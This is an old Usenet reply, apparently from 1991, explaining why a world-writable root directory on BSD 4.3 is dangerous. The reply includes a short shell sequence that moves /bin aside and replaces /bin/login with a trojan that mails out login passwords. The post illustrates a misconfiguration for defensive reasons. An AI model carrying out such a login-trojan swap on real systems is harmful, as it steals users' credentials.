Possible security problem, need information...

[Marcus J. Ranum]

In article <1991Mar18.200957.166 at gacvx2.gac.edu> dan at gacvx2.gac.edu writes:
>Greetings,
> 
>Is there anything inherently evil giving world write access to the "root" (aka
>"/") directory on a BSD 4.3 UNIX system?  The exact permission with the command
>"ls -ld /" is "drwxrwxrwt".

	mv /bin /...
	mkdir /bin
	ln /.../* /bin
	mv ~/myloginthatmailsmeallloginpasswords /bin/login

	unsubtle, but you get the idea.

	it's not "inherently evil" it's inherently brain-dead.

mjr.
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